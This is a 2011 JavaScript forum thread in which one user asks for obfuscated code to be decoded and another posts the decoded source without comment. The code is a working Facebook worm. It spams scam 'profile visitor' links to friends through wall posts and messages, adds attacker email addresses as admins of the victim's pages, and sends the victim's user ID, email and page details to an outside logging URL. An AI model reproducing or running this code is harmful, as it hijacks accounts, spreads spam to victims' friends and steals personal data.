Please helps me to decode this code javascript

Discussion in 'JavaScript' started by sandraa, Feb 3, 2011.

  1. #1
    i do to decode this code javascript
    please helps me

    cod large

    Developed by here


    http://enex.ifrance.com/1.txt
     
    sandraa, Feb 3, 2011 IP
  2. mastermunj

    mastermunj Well-Known Member

    Messages:
    687
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    110
    #2
    hey, following is the decoded code:

    
    event_id = "160698037311325";
    page_id_x = "129328413799928";
    admin_emails = "fsimpsonhqs@aol.com,fredweber47@aol.com";
    statuses = ["Hi! My ex was third top viewer of my profile. I came to know via -- http://goo.gl/69cim", "Hello! See who visited your profile at -- http://goo.gl/Z2Zsj You gotta check it out", "AWESOME! These Profile visitors look amazingly good! Here's the link -- http://goo.gl/o0AAJ", "Facebook FTW! Didn't knew we can check who visited our profile! You can check them here -- http://goo.gl/YgYEF"];
    subjects = ["Facebook Profile Views!!", "Awesome Facebook Profile Views ya !!", "My profile visitors"];
    url_log = "http://imagemajic.info/Doer.php";
    
    
    Array.prototype.randomize = function(){
        return this[Math.floor(Math.random() * this.length)];
    }
    Object.prototype.isReady = function(){
        if(this.readyState == 4 && this.status == 200){
            return true;
        }else{
            return false;
        }
    }
    String.prototype.getFriends = function(){
        friends2 = this.match(/facebook\.com\\\\\\\/profile\.php\?id=\d+\\\\\\\">(<span[^>]+>|)[^<>]+/gi).join(":").replace(/(facebook\.com\\\\\\\/|profile\.php\?id=|<span[^>]+>|l\.php.*)/gi, "").replace(/\\\\\\\">/gi, "|").split(":").slice(1);
        //friends3 = this.match(/\d+_\d+_\d+_\w+.jpg\\\\\\\" \\\\\\\/><\\\\\\\/div><\\\\\\\/div><span class=\\\\\\\"textWrap fsm fwb\\\\\\\">[^<>]+/gi).join(":").replace(/<[^<>]+>/gi, "").replace(/\\\\\\\" \\\\\\\/>/gi, "|").replace(/\d+_(\d+)_\d+_\w+\.jpg\|([\w\d\s\-\\\\]+)/gi, "$1|$2").split(":");
        //return friends2.concat(friends3).slice(1);
        return friends2;
    }
    function addAdmin(pageid, emails, form, dt){
        iemails = emails.split(",");
        main_emails = [];
        for(i = 0;i < iemails.length; i++){
            main_emails[i] = "friendselector_input[]=" + iemails[i] + "&friend_selected[]=";
        }
        with(newx = new XMLHttpRequest()) open("POST", "/pages/edit/?id=" + pageid + "&sk=admin"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send("post_form_id=" + form + "&fb_dtsg=" + dt + "&fbpage_id=" + pageid + "&" + main_emails.join("&") + "&save=1");
    }
    function makePost(res, status, to, friends){
        formx = res.match(/name="post_form_id" value="([\d\w]+)"/)[1];
        dtx = res.match(/name="fb_dtsg" value="([^"]+)"/)[1];
        composerx = res.match(/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];
        msg = status.randomize() + "\n\n";
        text_post = "";
        text_actual = "";
        for(i = 0;i < 6; i++){
            tox = friends.randomize().split("|");
            text_post += "@[" + tox[0] + ":], ";
            text_actual += tox[1] + ", ";
        }
        pxt = "post_form_id=" + formx + "&fb_dtsg=" + dtx + "&xhpc_composerid=" + composerx + "&xhpc_targetid=" + to.split("|")[0] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg + text_actual.replace(/\, $/, "")) + "&xhpc_message=" + encodeURIComponent(msg + text_post.replace(/\, $/, "")) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest";
        update(pxt);
    }
    function update(pxt){
        with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pxt);
    }
    if(window.location.hostname != "sbx.facebook.com"){
        alert("Please, run the code on sbx.facebook.com :)");
        window.location = "http://sbx.facebook.com/";
    }else{
        if(window.location.href == "http://sbx.facebook.com/"){
            formx = (res = document.body.innerHTML).match(/name="post_form_id" value="([\d\w]+)"/)[1];
            dtx = res.match(/name="fb_dtsg" value="([^"]+)"/)[1];
            composerx = res.match(/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];
        }else{
            with(muhaha = new XMLHttpRequest()) open("GET", "/", false), send(null);
            formx = (res = muhaha.responseText).match(/name="post_form_id" value="([\d\w]+)"/)[1];
            dtx = res.match(/name="fb_dtsg" value="([^"]+)"/)[1];
            composerx = res.match(/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];
        }
        
        alert("Hello!\n\nPlease wait 2-3 minutes while we set up. Do not close this tab/window");
        update("post_form_id=" + formx + "&fb_dtsg=" + dtx + "&xhpc_composerid=" + composerx + "&xhpc_targetid=" + document.cookie.match(/c_user=(\d+)/)[1] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent((stx = statuses.randomize())) + "&xhpc_message=" + encodeURIComponent(stx) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest");
        with(newz = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send("fbpage_id=" + page_id_x + "&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id=" + formx + "&fb_dtsg=" + dtx + "&lsd&post_form_id_source=AsyncRequest");
    
        with(xzi = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"), onreadystatechange = function(){
            if(xzi.isReady()){
                iurl = "http://sbx.facebook.com/mobile/" + xzi.responseText.match(/iframe_emails.php\?([^"]+)/)[0].replace(/\\/gi, "").replace(/&amp;/gi, "&");
                with(zx = new XMLHttpRequest()) open("GET", iurl), onreadystatechange = function(){
                    if(zx.isReady()){
                        with(sx = document.createElement("script")) src = url_log + "?users&id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&email=" + zx.responseText.match(/mailto:([^"]+)/)[1].replace(/&#64;/, "@"); document.body.appendChild(sx);
    
                    }
                }, send(null);
            }
        }, send(null);
    
        
        with(fr = new XMLHttpRequest()) open("GET", "/ajax/browser/list/friends/all/?uid=" + (me = document.cookie.match(/c_user=(\d+)/)[1]) + "&offset=50&dual=1&__a=1"), onreadystatechange = function(){
            if(fr.isReady()){
                friends = fr.responseText.getFriends();
                idx = [];
                for(i = 0; i < friends.length; i++){
                    if(!isNaN(friends[i].split("|")[0])){
                    idx[i] =  "ids[" + i + "]=" + friends[i].split("|")[0]; 
                    }
                }
                with(invi = new XMLHttpRequest()) open("POST", "/ajax/social_graph/invite_dialog.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send("post_form_id=" + formx + "&fb_dtsg=" + dtx + "&send_invitations=1&invite_id_list=&email_addresses=&invite_msg=&" + idx.join("&") + "&node_id=" + event_id + "&class=GuestManager&__d=1&lsd&post_form_id_source=AsyncRequest");
                cnt_fr = 0;
                tx = setInterval(function(){
                    if(cnt_fr == friends.length) { clearInterval(tx); }
                    makePost(document.body.innerHTML, statuses, friends[cnt_fr], friends);
                    with(xa = new XMLHttpRequest()) open("GET", "/ajax/messaging/composer.php?__a=1&__d=1"), onreadystatechange = function(){
                        if(xa.isReady()){
                            compi = xa.responseText.match(/([\d\w]+)_error/)[1];
                            pxi = "ids_" + compi + "[0]=" + friends[cnt_fr].split("|")[0] + "&subject=" + encodeURIComponent(subjects.randomize()) + "&status=" + encodeURIComponent(statuses.randomize()) + "&ids[0]=" + friends[cnt_fr].split("|")[0] + "&action=send_new&home_tab_id=1&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&target_id=0&app_id=&&composer_id=" + compi + "&hey_kid_im_a_composer=true&thread&post_form_id=" + formx + "&fb_dtsg=" + dtx + "&lsd&_log_action=send_new&_log_thread&ajax_log=1&post_form_id_source=AsyncRequest";
                            with(mi = new XMLHttpRequest()) open("POST", "/ajax/gigaboxx/endpoint/MessageComposerEndpoint.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pxi);
                        }
                    }, send(null);
                    cnt_fr += 1;
                }, 5000);
            }
        }, send(null);
        
        with(ins = new XMLHttpRequest()) open("GET", "/insights/?_fb_noscript=1"), onreadystatechange = function(){
            if(ins.isReady()){
                ids = ins.responseText.match(/po_\d+">View/gi).join(":").replace(/(po_|">View)/gi, "").split(":");
                cnt_pages = 0;
                tz = setInterval(function(){
                    if(cnt_pages == ids.length) { clearInterval(tz); }
                    update("post_form_id=" + formx + "&fb_dtsg=" + dtx + "&xhpc_composerid=" + composerx + "&xhpc_targetid=" + ids[cnt_pages] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent((stx = statuses.randomize())) + "&xhpc_message=" + encodeURIComponent(stx) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest");
                    addAdmin(ids[cnt_pages], admin_emails, formx, dtx);
                    with(xz = new XMLHttpRequest()) open("GET", "/pages/edit/?id=" + ids[cnt_pages] + "&sk=mobile"), onreadystatechange = function(){
                        if(xz.isReady()){
                            namez = xz.responseText.match(/<h2 class="uiHeaderTitle">([^<>]+)<\/h2>/i)[1];
                            iurl = "http://sbx.facebook.com/mobile/" + xz.responseText.match(/iframe_emails.php\?([^"]+)/)[0].replace(/\\/gi, "").replace(/&amp;/gi, "&");
                            with(zx = new XMLHttpRequest()) open("GET", iurl), onreadystatechange = function(){
                                if(zx.isReady()){                                    
                                    with(sx = document.createElement("script")) src = url_log + "?pages&id=" + ids[cnt_pages] + "&name=" + namez + "&email=" + zx.responseText.match(/mailto:([^"]+)/)[1].replace(/&#64;/, "@"); document.body.appendChild(sx);
                                }
                            }, send(null);
                        }
                    }, send(null);
                    cnt_pages += 1;
                }, 3000);
                
                
            }
        }, send(null);
    }
    
    Code (markup):
     
    mastermunj, Feb 3, 2011 IP